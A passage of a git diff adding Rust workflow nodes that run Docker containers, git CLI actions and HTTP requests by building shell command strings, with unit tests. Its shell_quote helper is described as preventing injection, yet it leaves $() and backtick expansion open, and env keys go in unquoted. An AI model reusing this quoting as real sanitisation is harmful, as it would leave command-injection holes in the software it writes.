//! 3. 经 df_execute::shell::execute 执行,回传 stdout/stderr/exit_code。
|
||||
|
||||
use async_trait::async_trait;
|
||||
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||
|
||||
/// Docker 节点
|
||||
pub struct DockerNode;
|
||||
|
||||
/// 卷挂载配置项(volumes 数组元素)
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct VolumeMount {
|
||||
pub host: String,
|
||||
pub container: String,
|
||||
}
|
||||
|
||||
/// 从 NodeContext.config 解析出的 DockerNode 参数。
|
||||
/// 抽离此结构便于单元测试 config 解析逻辑(无需起 shell / 真实容器)。
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct DockerParams {
|
||||
/// Docker 镜像名(必填,如 "rust:latest")
|
||||
pub image: String,
|
||||
/// 容器内执行命令(必填)
|
||||
pub command: String,
|
||||
/// 容器内工作目录(默认 "/workspace")
|
||||
pub working_dir: String,
|
||||
/// 超时秒数(默认 300)
|
||||
pub timeout_secs: u64,
|
||||
/// 卷挂载列表(可选)
|
||||
pub volumes: Vec<VolumeMount>,
|
||||
/// 环境变量(可选)
|
||||
pub env: std::collections::HashMap<String, String>,
|
||||
}
|
||||
|
||||
/// 从 config JSON 解析 DockerParams。image / command 必填,其余按默认/可选。
|
||||
pub fn parse_params(config: &serde_json::Value) -> anyhow::Result<DockerParams> {
|
||||
let image = config
|
||||
.get("image")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| anyhow::anyhow!("DockerNode 缺少必填参数: image"))?
|
||||
.to_string();
|
||||
|
||||
let command = config
|
||||
.get("command")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| anyhow::anyhow!("DockerNode 缺少必填参数: command"))?
|
||||
.to_string();
|
||||
|
||||
let working_dir = config
|
||||
.get("working_dir")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| "/workspace".to_string());
|
||||
|
||||
let timeout_secs = config
|
||||
.get("timeout_secs")
|
||||
.and_then(|v| v.as_u64())
|
||||
.unwrap_or(300);
|
||||
|
||||
// volumes: JSON 数组,每项 {"host": "...", "container": "..."}
|
||||
// 容错:类型不符/缺字段项跳过(不整体失败,单条坏配置不阻塞整个工作流)。
|
||||
let volumes = config
|
||||
.get("volumes")
|
||||
.and_then(|v| v.as_array())
|
||||
.map(|arr| {
|
||||
arr.iter()
|
||||
.filter_map(|item| {
|
||||
let host = item.get("host")?.as_str()?.to_string();
|
||||
let container = item.get("container")?.as_str()?.to_string();
|
||||
Some(VolumeMount { host, container })
|
||||
})
|
||||
.collect()
|
||||
})
|
||||
.unwrap_or_default();
|
||||
|
||||
// env: JSON 对象 { KEY: VALUE },值统一转字符串。
|
||||
let env = config
|
||||
.get("env")
|
||||
.and_then(|v| v.as_object())
|
||||
.map(|obj| {
|
||||
obj.iter()
|
||||
.filter_map(|(k, v)| v.as_str().map(|s| (k.clone(), s.to_string())))
|
||||
.collect()
|
||||
})
|
||||
.unwrap_or_default();
|
||||
|
||||
Ok(DockerParams {
|
||||
image,
|
||||
command,
|
||||
working_dir,
|
||||
timeout_secs,
|
||||
volumes,
|
||||
env,
|
||||
})
|
||||
}
|
||||
|
||||
/// 探测 Docker 是否可用:`docker --version` 退出码 0 视为可用。
|
||||
async fn check_docker_available() -> anyhow::Result<()> {
|
||||
let request = df_execute::shell::ShellRequest {
|
||||
command: "docker --version".to_string(),
|
||||
working_dir: None,
|
||||
env: std::collections::HashMap::new(),
|
||||
timeout_secs: Some(15),
|
||||
shell_type: Default::default(),
|
||||
};
|
||||
let result = df_execute::shell::execute(request).await;
|
||||
match result {
|
||||
Ok(r) if r.exit_code.unwrap_or(-1) == 0 => Ok(()),
|
||||
_ => anyhow::bail!("Docker 未安装或未运行"),
|
||||
}
|
||||
}
|
||||
|
||||
/// 构建 docker run 命令字符串。
|
||||
/// 卷/环境变量值用 shell_quote 包裹,防止空格/特殊字符注入。
|
||||
fn build_command(params: &DockerParams) -> String {
|
||||
let mut parts: Vec<String> = vec!["docker run --rm".to_string()];
|
||||
|
||||
for v in ¶ms.volumes {
|
||||
parts.push(format!(
|
||||
"-v {}:{}",
|
||||
shell_quote(&v.host),
|
||||
shell_quote(&v.container)
|
||||
));
|
||||
}
|
||||
|
||||
for (k, val) in ¶ms.env {
|
||||
parts.push(format!("-e {}={}", k, shell_quote(val)));
|
||||
}
|
||||
|
||||
parts.push(format!("-w {}", shell_quote(¶ms.working_dir)));
|
||||
parts.push(shell_quote(¶ms.image));
|
||||
// command 原样追加(用户自行决定是否含参数 / shell 元字符),不做引号包裹,
|
||||
// 与脚本节点一致由 shell 解释器解析。
|
||||
parts.push(params.command.clone());
|
||||
|
||||
parts.join(" ")
|
||||
}
|
||||
|
||||
/// 简单 shell 引号包裹:含空格/特殊字符时用双引号包裹并转义内嵌双引号。
|
||||
fn shell_quote(s: &str) -> String {
|
||||
if s
|
||||
.chars()
|
||||
.any(|c| c.is_whitespace() || c == '"' || c == '$' || c == '`')
|
||||
{
|
||||
format!("\"{}\"", s.replace('"', "\\\""))
|
||||
} else {
|
||||
s.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl Node for DockerNode {
|
||||
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||
tracing::info!("DockerNode 执行: node_id={}", ctx.node_id);
|
||||
|
||||
// 1. Docker 可用性探测(未装/未运行直接 fail-fast)。
|
||||
if let Err(e) = check_docker_available().await {
|
||||
anyhow::bail!(e.to_string());
|
||||
}
|
||||
|
||||
let params = parse_params(&ctx.config)?;
|
||||
let command = build_command(¶ms);
|
||||
|
||||
tracing::info!(
|
||||
image = %params.image,
|
||||
working_dir = %params.working_dir,
|
||||
timeout_secs = params.timeout_secs,
|
||||
"DockerNode 构建命令: {}",
|
||||
command
|
||||
);
|
||||
|
||||
let request = df_execute::shell::ShellRequest {
|
||||
command,
|
||||
// 宿主机工作目录对 docker run 无意义,置 None。
|
||||
working_dir: None,
|
||||
env: std::collections::HashMap::new(),
|
||||
timeout_secs: Some(params.timeout_secs),
|
||||
shell_type: Default::default(),
|
||||
};
|
||||
|
||||
let result = df_execute::shell::execute(request).await?;
|
||||
let exit_code = result.exit_code.unwrap_or(-1);
|
||||
|
||||
tracing::info!(
|
||||
exit_code,
|
||||
duration_ms = result.duration_ms,
|
||||
"DockerNode 完成"
|
||||
);
|
||||
|
||||
Ok(NodeOutput::from_value(serde_json::json!({
|
||||
"image": params.image,
|
||||
"stdout": result.stdout,
|
||||
"stderr": result.stderr,
|
||||
"exit_code": exit_code,
|
||||
"duration_ms": result.duration_ms,
|
||||
})))
|
||||
}
|
||||
|
||||
fn schema(&self) -> NodeSchema {
|
||||
NodeSchema {
|
||||
params: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"image": { "type": "string", "description": "Docker 镜像名(如 rust:latest)" },
|
||||
"command": { "type": "string", "description": "容器内执行命令" },
|
||||
"working_dir": { "type": "string", "description": "容器工作目录(默认 /workspace)" },
|
||||
"timeout_secs": { "type": "integer", "description": "超时秒数(默认 300)" },
|
||||
"volumes": {
|
||||
"type": "array",
|
||||
"description": "卷挂载 [{host, container}]",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"container": { "type": "string" }
|
||||
}
|
||||
}
|
||||
},
|
||||
"env": { "type": "object", "description": "环境变量键值对" }
|
||||
},
|
||||
"required": ["image", "command"]
|
||||
}),
|
||||
output: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"image": { "type": "string" },
|
||||
"stdout": { "type": "string" },
|
||||
"stderr": { "type": "string" },
|
||||
"exit_code": { "type": "integer" },
|
||||
"duration_ms": { "type": "integer" }
|
||||
}
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
fn node_type(&self) -> &str {
|
||||
"docker"
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use serde_json::json;
|
||||
|
||||
// ── parse_params: 必填缺失 ──
|
||||
|
||||
#[test]
|
||||
fn params_missing_image_errors() {
|
||||
let err = parse_params(&json!({ "command": "ls" }))
|
||||
.unwrap_err()
|
||||
.to_string();
|
||||
assert!(err.contains("image"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_missing_command_errors() {
|
||||
let err = parse_params(&json!({ "image": "rust:latest" }))
|
||||
.unwrap_err()
|
||||
.to_string();
|
||||
assert!(err.contains("command"), "实际: {}", err);
|
||||
}
|
||||
|
||||
// ── parse_params: 默认值 ──
|
||||
|
||||
#[test]
|
||||
fn params_minimal_uses_defaults() {
|
||||
let p = parse_params(&json!({ "image": "alpine", "command": "echo hi" })).unwrap();
|
||||
assert_eq!(p.image, "alpine");
|
||||
assert_eq!(p.command, "echo hi");
|
||||
assert_eq!(p.working_dir, "/workspace");
|
||||
assert_eq!(p.timeout_secs, 300);
|
||||
assert!(p.volumes.is_empty());
|
||||
assert!(p.env.is_empty());
|
||||
}
|
||||
|
||||
// ── parse_params: 完整字段 ──
|
||||
|
||||
#[test]
|
||||
fn params_full_fields() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "rust:latest",
|
||||
"command": "cargo test",
|
||||
"working_dir": "/app",
|
||||
"timeout_secs": 120
|
||||
}))
|
||||
.unwrap();
|
||||
assert_eq!(p.image, "rust:latest");
|
||||
assert_eq!(p.command, "cargo test");
|
||||
assert_eq!(p.working_dir, "/app");
|
||||
assert_eq!(p.timeout_secs, 120);
|
||||
}
|
||||
|
||||
// ── parse_params: volumes 解析 ──
|
||||
|
||||
#[test]
|
||||
fn params_volumes_parsed() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "node",
|
||||
"command": "npm ci",
|
||||
"volumes": [
|
||||
{ "host": "/host/a", "container": "/c/a" },
|
||||
{ "host": "/host/b", "container": "/c/b" }
|
||||
]
|
||||
}))
|
||||
.unwrap();
|
||||
assert_eq!(p.volumes.len(), 2);
|
||||
assert_eq!(
|
||||
p.volumes[0],
|
||||
VolumeMount {
|
||||
host: "/host/a".into(),
|
||||
container: "/c/a".into()
|
||||
}
|
||||
);
|
||||
assert_eq!(p.volumes[1].container, "/c/b");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_volumes_skips_malformed_items() {
|
||||
// 缺 container / 非 object 项应被跳过,不整体失败。
|
||||
let p = parse_params(&json!({
|
||||
"image": "node",
|
||||
"command": "ls",
|
||||
"volumes": [
|
||||
{ "host": "/ok", "container": "/ok" },
|
||||
{ "host": "/no-container" },
|
||||
"not-an-object",
|
||||
{ "container": "/no-host" }
|
||||
]
|
||||
}))
|
||||
.unwrap();
|
||||
assert_eq!(p.volumes.len(), 1);
|
||||
assert_eq!(p.volumes[0].host, "/ok");
|
||||
}
|
||||
|
||||
// ── parse_params: env 解析 ──
|
||||
|
||||
#[test]
|
||||
fn params_env_parsed() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "python",
|
||||
"command": "pytest",
|
||||
"env": {
|
||||
"FOO": "bar",
|
||||
"DEBUG": "1"
|
||||
}
|
||||
}))
|
||||
.unwrap();
|
||||
assert_eq!(p.env.len(), 2);
|
||||
assert_eq!(p.env.get("FOO").map(|s| s.as_str()), Some("bar"));
|
||||
assert_eq!(p.env.get("DEBUG").map(|s| s.as_str()), Some("1"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_env_empty_when_non_object() {
|
||||
// env 非 object(误传字符串)时回退空 map,不报错。
|
||||
let p = parse_params(&json!({
|
||||
"image": "python",
|
||||
"command": "ls",
|
||||
"env": "should-be-object"
|
||||
}))
|
||||
.unwrap();
|
||||
assert!(p.env.is_empty());
|
||||
}
|
||||
|
||||
// ── build_command ──
|
||||
|
||||
#[test]
|
||||
fn command_minimal_shape() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "echo hello"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(cmd.starts_with("docker run --rm"), "实际: {}", cmd);
|
||||
assert!(cmd.contains("-w /workspace"), "实际: {}", cmd);
|
||||
assert!(cmd.contains(" alpine "), "实际: {}", cmd);
|
||||
assert!(cmd.ends_with("echo hello"), "实际: {}", cmd);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_includes_volumes_and_env() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "rust:latest",
|
||||
"command": "cargo build",
|
||||
"working_dir": "/app",
|
||||
"volumes": [
|
||||
{ "host": "/host/src", "container": "/app" }
|
||||
],
|
||||
"env": { "CARGO_HOME": "/cargo" }
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(cmd.contains("-v /host/src:/app"), "实际: {}", cmd);
|
||||
assert!(cmd.contains("-e CARGO_HOME=/cargo"), "实际: {}", cmd);
|
||||
assert!(cmd.contains("-w /app"), "实际: {}", cmd);
|
||||
}
|
||||
|
||||
// ── shell_quote ──
|
||||
|
||||
#[test]
|
||||
fn shell_quote_plain_passthrough() {
|
||||
assert_eq!(shell_quote("abc"), "abc");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_wraps_spaces() {
|
||||
assert_eq!(shell_quote("/a b/c"), "\"/a b/c\"");
|
||||
}
|
||||
}
|
||||
426
crates/df-nodes/src/git_node.rs
Normal file
426
crates/df-nodes/src/git_node.rs
Normal file
@@ -0,0 +1,426 @@
|
||||
//! Git 节点 — 执行 git CLI 命令(branch/checkout/commit/merge/push/status/log)
|
||||
//!
|
||||
//! 通过 df_execute::shell::execute 调用本地 git CLI,working_dir 指定仓库路径。
|
||||
//! 不内嵌 git2/libgit2:CLI 路径更通用、调试透明,与 ScriptNode 一致。
|
||||
|
||||
use async_trait::async_trait;
|
||||
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||
|
||||
/// Git 节点
|
||||
pub struct GitNode;
|
||||
|
||||
/// 支持的 Git 动作
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum GitAction {
|
||||
Branch,
|
||||
Checkout,
|
||||
Commit,
|
||||
Merge,
|
||||
Push,
|
||||
Status,
|
||||
Log,
|
||||
}
|
||||
|
||||
impl GitAction {
|
||||
/// 从 config.action 字符串解析动作,非法值返回 Err。
|
||||
pub fn parse(raw: &str) -> anyhow::Result<Self> {
|
||||
match raw {
|
||||
"branch" => Ok(GitAction::Branch),
|
||||
"checkout" => Ok(GitAction::Checkout),
|
||||
"commit" => Ok(GitAction::Commit),
|
||||
"merge" => Ok(GitAction::Merge),
|
||||
"push" => Ok(GitAction::Push),
|
||||
"status" => Ok(GitAction::Status),
|
||||
"log" => Ok(GitAction::Log),
|
||||
other => anyhow::bail!(
|
||||
"GitNode 非法 action: {}(合法值: branch|checkout|commit|merge|push|status|log)",
|
||||
other
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
GitAction::Branch => "branch",
|
||||
GitAction::Checkout => "checkout",
|
||||
GitAction::Commit => "commit",
|
||||
GitAction::Merge => "merge",
|
||||
GitAction::Push => "push",
|
||||
GitAction::Status => "status",
|
||||
GitAction::Log => "log",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// 从 NodeContext.config 解析出的 GitNode 参数。
|
||||
/// 抽离此结构便于单元测试 config 解析逻辑(无需构造完整 NodeContext / 起 shell)。
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct GitParams {
|
||||
pub action: GitAction,
|
||||
/// 目标分支(branch/checkout/merge)
|
||||
pub branch_name: Option<String>,
|
||||
/// commit 信息(commit)
|
||||
pub message: Option<String>,
|
||||
/// 仓库路径(None=当前目录)
|
||||
pub working_dir: Option<String>,
|
||||
}
|
||||
|
||||
/// 从 config JSON 解析 GitParams。action 必填;其余按需。
|
||||
pub fn parse_params(config: &serde_json::Value) -> anyhow::Result<GitParams> {
|
||||
let action = config
|
||||
.get("action")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| anyhow::anyhow!("GitNode 缺少必填参数: action"))?;
|
||||
let action = GitAction::parse(action)?;
|
||||
|
||||
let branch_name = config
|
||||
.get("branch_name")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let message = config
|
||||
.get("message")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let working_dir = config
|
||||
.get("working_dir")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
Ok(GitParams {
|
||||
action,
|
||||
branch_name,
|
||||
message,
|
||||
working_dir,
|
||||
})
|
||||
}
|
||||
|
||||
/// 根据 action + 参数构建 git CLI 命令字符串。working_dir 由 ShellRequest 处理,此处不含 cd。
|
||||
fn build_command(params: &GitParams) -> anyhow::Result<String> {
|
||||
match params.action {
|
||||
GitAction::Branch => {
|
||||
// 无 branch_name → 列出所有本地分支;有 → 创建新分支
|
||||
match ¶ms.branch_name {
|
||||
Some(name) => Ok(format!("git branch {}", shell_quote(name))),
|
||||
None => Ok("git branch".to_string()),
|
||||
}
|
||||
}
|
||||
GitAction::Checkout => {
|
||||
let name = params
|
||||
.branch_name
|
||||
.as_deref()
|
||||
.ok_or_else(|| anyhow::anyhow!("GitNode action=checkout 缺少 branch_name"))?;
|
||||
Ok(format!("git checkout {}", shell_quote(name)))
|
||||
}
|
||||
GitAction::Commit => {
|
||||
let msg = params
|
||||
.message
|
||||
.as_deref()
|
||||
.ok_or_else(|| anyhow::anyhow!("GitNode action=commit 缺少 message"))?;
|
||||
Ok(format!("git commit -m {}", shell_quote(msg)))
|
||||
}
|
||||
GitAction::Merge => {
|
||||
let name = params
|
||||
.branch_name
|
||||
.as_deref()
|
||||
.ok_or_else(|| anyhow::anyhow!("GitNode action=merge 缺少 branch_name"))?;
|
||||
Ok(format!("git merge {}", shell_quote(name)))
|
||||
}
|
||||
GitAction::Push => Ok("git push".to_string()),
|
||||
GitAction::Status => Ok("git status".to_string()),
|
||||
GitAction::Log => Ok("git log --oneline -20".to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
/// 简单 shell 引号包裹:含空格/特殊字符时用双引号包裹并转义内嵌双引号。
|
||||
/// 仅用于内部参数拼接(branch_name/message),命令名固定白名单不用户可控。
|
||||
fn shell_quote(s: &str) -> String {
|
||||
if s.chars().any(|c| c.is_whitespace() || c == '"' || c == '$' || c == '`') {
|
||||
format!("\"{}\"", s.replace('"', "\\\""))
|
||||
} else {
|
||||
s.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl Node for GitNode {
|
||||
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||
tracing::info!("GitNode 执行: node_id={}", ctx.node_id);
|
||||
|
||||
let params = parse_params(&ctx.config)?;
|
||||
let command = build_command(¶ms)?;
|
||||
|
||||
tracing::info!(
|
||||
action = params.action.as_str(),
|
||||
working_dir = ?params.working_dir,
|
||||
"GitNode 构建命令: {}",
|
||||
command
|
||||
);
|
||||
|
||||
let request = df_execute::shell::ShellRequest {
|
||||
command,
|
||||
working_dir: params.working_dir.clone(),
|
||||
env: std::collections::HashMap::new(),
|
||||
timeout_secs: Some(60),
|
||||
shell_type: Default::default(),
|
||||
};
|
||||
|
||||
let result = df_execute::shell::execute(request).await?;
|
||||
|
||||
let exit_code = result.exit_code.unwrap_or(-1);
|
||||
if exit_code != 0 {
|
||||
anyhow::bail!(
|
||||
"GitNode 执行失败 (exit_code={}): {}",
|
||||
exit_code,
|
||||
result.stderr.trim()
|
||||
);
|
||||
}
|
||||
|
||||
// 按 action 提取结构化字段(branch 列表/commit hash 等),无法解析时回退原始 stdout。
|
||||
let parsed = parse_action_output(¶ms.action, &result.stdout);
|
||||
|
||||
tracing::info!(
|
||||
action = params.action.as_str(),
|
||||
exit_code,
|
||||
duration_ms = result.duration_ms,
|
||||
"GitNode 完成"
|
||||
);
|
||||
|
||||
Ok(NodeOutput::from_value(serde_json::json!({
|
||||
"action": params.action.as_str(),
|
||||
"stdout": result.stdout,
|
||||
"stderr": result.stderr,
|
||||
"exit_code": exit_code,
|
||||
"duration_ms": result.duration_ms,
|
||||
"parsed": parsed,
|
||||
})))
|
||||
}
|
||||
|
||||
fn schema(&self) -> NodeSchema {
|
||||
NodeSchema {
|
||||
params: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"action": {
|
||||
"type": "string",
|
||||
"enum": ["branch", "checkout", "commit", "merge", "push", "status", "log"]
|
||||
},
|
||||
"branch_name": { "type": "string", "description": "目标分支(branch/checkout/merge)" },
|
||||
"message": { "type": "string", "description": "commit 信息(commit)" },
|
||||
"working_dir": { "type": "string", "description": "git 仓库路径(可选)" }
|
||||
},
|
||||
"required": ["action"]
|
||||
}),
|
||||
output: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"action": { "type": "string" },
|
||||
"stdout": { "type": "string" },
|
||||
"stderr": { "type": "string" },
|
||||
"exit_code": { "type": "integer" },
|
||||
"duration_ms": { "type": "integer" },
|
||||
"parsed": { "type": "object" }
|
||||
}
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
fn node_type(&self) -> &str {
|
||||
"git"
|
||||
}
|
||||
}
|
||||
|
||||
/// 按 action 解析 stdout 成结构化字段。
|
||||
/// - branch(无参列出):每行一个分支,`*` 标记当前分支
|
||||
/// - log:每行一条 `hash subject`
|
||||
/// - commit:首段 hash
|
||||
/// - 其余动作无强结构,返回空对象
|
||||
fn parse_action_output(action: &GitAction, stdout: &str) -> serde_json::Value {
|
||||
match action {
|
||||
GitAction::Branch => {
|
||||
let branches: Vec<&str> = stdout.lines().map(|l| l.trim_start_matches("* ").trim()).collect();
|
||||
let current = stdout
|
||||
.lines()
|
||||
.find(|l| l.starts_with('*'))
|
||||
.map(|l| l.trim_start_matches("* ").trim().to_string());
|
||||
serde_json::json!({ "branches": branches, "current": current })
|
||||
}
|
||||
GitAction::Log => {
|
||||
let entries: Vec<serde_json::Value> = stdout
|
||||
.lines()
|
||||
.filter_map(|l| {
|
||||
let l = l.trim();
|
||||
let mut parts = l.splitn(2, ' ');
|
||||
let hash = parts.next()?.to_string();
|
||||
let subject = parts.next().unwrap_or("").to_string();
|
||||
Some(serde_json::json!({ "hash": hash, "subject": subject }))
|
||||
})
|
||||
.collect();
|
||||
serde_json::json!({ "entries": entries })
|
||||
}
|
||||
GitAction::Commit => {
|
||||
// `git commit` 默认输出含 `[branch hash]` 形式;取首个 7+ 位十六进制段
|
||||
let hash = stdout
|
||||
.split_whitespace()
|
||||
.find(|t| t.len() >= 7 && t.chars().all(|c| c.is_ascii_hexdigit()))
|
||||
.unwrap_or("")
|
||||
.to_string();
|
||||
serde_json::json!({ "commit_hash": hash })
|
||||
}
|
||||
_ => serde_json::json!({}),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use serde_json::json;
|
||||
|
||||
// ── GitAction::parse ──
|
||||
|
||||
#[test]
|
||||
fn parse_all_valid_actions() {
|
||||
for raw in ["branch", "checkout", "commit", "merge", "push", "status", "log"] {
|
||||
let a = GitAction::parse(raw).unwrap_or_else(|e| panic!("合法 action {} 应解析成功: {}", raw, e));
|
||||
assert_eq!(a.as_str(), raw);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_invalid_action_errors() {
|
||||
let err = GitAction::parse("rebase").unwrap_err().to_string();
|
||||
assert!(err.contains("非法 action"), "实际: {}", err);
|
||||
assert!(err.contains("rebase"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_empty_action_errors() {
|
||||
let err = GitAction::parse("").unwrap_err().to_string();
|
||||
assert!(err.contains("非法 action"), "实际: {}", err);
|
||||
}
|
||||
|
||||
// ── parse_params(config) ──
|
||||
|
||||
#[test]
|
||||
fn params_missing_action_errors() {
|
||||
let err = parse_params(&json!({ "branch_name": "main" }))
|
||||
.unwrap_err()
|
||||
.to_string();
|
||||
assert!(err.contains("action"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_minimal_valid() {
|
||||
let p = parse_params(&json!({ "action": "status" })).unwrap();
|
||||
assert_eq!(p.action, GitAction::Status);
|
||||
assert_eq!(p.branch_name, None);
|
||||
assert_eq!(p.message, None);
|
||||
assert_eq!(p.working_dir, None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_full_fields() {
|
||||
let p = parse_params(&json!({
|
||||
"action": "commit",
|
||||
"branch_name": "feature/x",
|
||||
"message": "fix: 修复",
|
||||
"working_dir": "/repo"
|
||||
}))
|
||||
.unwrap();
|
||||
assert_eq!(p.action, GitAction::Commit);
|
||||
assert_eq!(p.branch_name.as_deref(), Some("feature/x"));
|
||||
assert_eq!(p.message.as_deref(), Some("fix: 修复"));
|
||||
assert_eq!(p.working_dir.as_deref(), Some("/repo"));
|
||||
}
|
||||
|
||||
// ── build_command ──
|
||||
|
||||
#[test]
|
||||
fn command_branch_list_when_no_name() {
|
||||
let p = parse_params(&json!({ "action": "branch" })).unwrap();
|
||||
assert_eq!(build_command(&p).unwrap(), "git branch");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_branch_create_when_name() {
|
||||
let p = parse_params(&json!({ "action": "branch", "branch_name": "feat" })).unwrap();
|
||||
assert_eq!(build_command(&p).unwrap(), "git branch feat");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_checkout_requires_name() {
|
||||
let p = parse_params(&json!({ "action": "checkout" })).unwrap();
|
||||
let err = build_command(&p).unwrap_err().to_string();
|
||||
assert!(err.contains("branch_name"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_commit_requires_message() {
|
||||
let p = parse_params(&json!({ "action": "commit" })).unwrap();
|
||||
let err = build_command(&p).unwrap_err().to_string();
|
||||
assert!(err.contains("message"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_commit_quotes_message_with_space() {
|
||||
let p = parse_params(&json!({ "action": "commit", "message": "fix bug a" })).unwrap();
|
||||
let cmd = build_command(&p).unwrap();
|
||||
assert_eq!(cmd, "git commit -m \"fix bug a\"");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_merge_requires_name() {
|
||||
let p = parse_params(&json!({ "action": "merge" })).unwrap();
|
||||
assert!(build_command(&p).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_push_status_log_fixed() {
|
||||
for (action, expected) in [
|
||||
("push", "git push"),
|
||||
("status", "git status"),
|
||||
("log", "git log --oneline -20"),
|
||||
] {
|
||||
let p = parse_params(&json!({ "action": action })).unwrap();
|
||||
assert_eq!(build_command(&p).unwrap(), expected);
|
||||
}
|
||||
}
|
||||
|
||||
// ── shell_quote ──
|
||||
|
||||
#[test]
|
||||
fn shell_quote_plain_passthrough() {
|
||||
assert_eq!(shell_quote("feat"), "feat");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_escapes_embedded_double_quote() {
|
||||
let q = shell_quote("a\"b");
|
||||
assert_eq!(q, "\"a\\\"b\"");
|
||||
}
|
||||
|
||||
// ── parse_action_output ──
|
||||
|
||||
#[test]
|
||||
fn parse_branch_output() {
|
||||
let out = parse_action_output(
|
||||
&GitAction::Branch,
|
||||
"* main\n develop\n feature/x\n",
|
||||
);
|
||||
assert_eq!(out["current"], "main");
|
||||
assert_eq!(out["branches"].as_array().unwrap().len(), 3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_log_output() {
|
||||
let out = parse_action_output(
|
||||
&GitAction::Log,
|
||||
"abc1234 fix bug\n deadbeef add feature\n",
|
||||
);
|
||||
let entries = out["entries"].as_array().unwrap();
|
||||
assert_eq!(entries.len(), 2);
|
||||
assert_eq!(entries[0]["hash"], "abc1234");
|
||||
assert_eq!(entries[1]["subject"], "add feature");
|
||||
}
|
||||
}
|
||||
319
crates/df-nodes/src/http_node.rs
Normal file
319
crates/df-nodes/src/http_node.rs
Normal file
@@ -0,0 +1,319 @@
|
||||
//! HTTP 节点 — 发起 HTTP 请求(GET/POST/PUT/DELETE)
|
||||
//!
|
||||
//! 使用 reqwest(与 df-ai 同一版本 0.12)。config 提供 method/url/headers/body/timeout_secs。
|
||||
//! 输出 status_code + body + (可选)响应头子集。
|
||||
|
||||
use std::time::Duration;
|
||||
|
||||
use async_trait::async_trait;
|
||||
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||
|
||||
/// HTTP 节点
|
||||
pub struct HttpNode;
|
||||
|
||||
/// 支持的 HTTP 方法
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum HttpMethod {
|
||||
Get,
|
||||
Post,
|
||||
Put,
|
||||
Delete,
|
||||
}
|
||||
|
||||
impl HttpMethod {
|
||||
/// 从 config.method 字符串解析,大小写不敏感,非法值返回 Err。缺省返回 GET。
|
||||
pub fn parse(raw: Option<&str>) -> anyhow::Result<Self> {
|
||||
match raw.map(|s| s.to_ascii_uppercase()).as_deref() {
|
||||
None | Some("GET") => Ok(HttpMethod::Get),
|
||||
Some("POST") => Ok(HttpMethod::Post),
|
||||
Some("PUT") => Ok(HttpMethod::Put),
|
||||
Some("DELETE") => Ok(HttpMethod::Delete),
|
||||
Some(other) => anyhow::bail!(
|
||||
"HttpNode 非法 method: {}(合法值: GET|POST|PUT|DELETE)",
|
||||
other
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
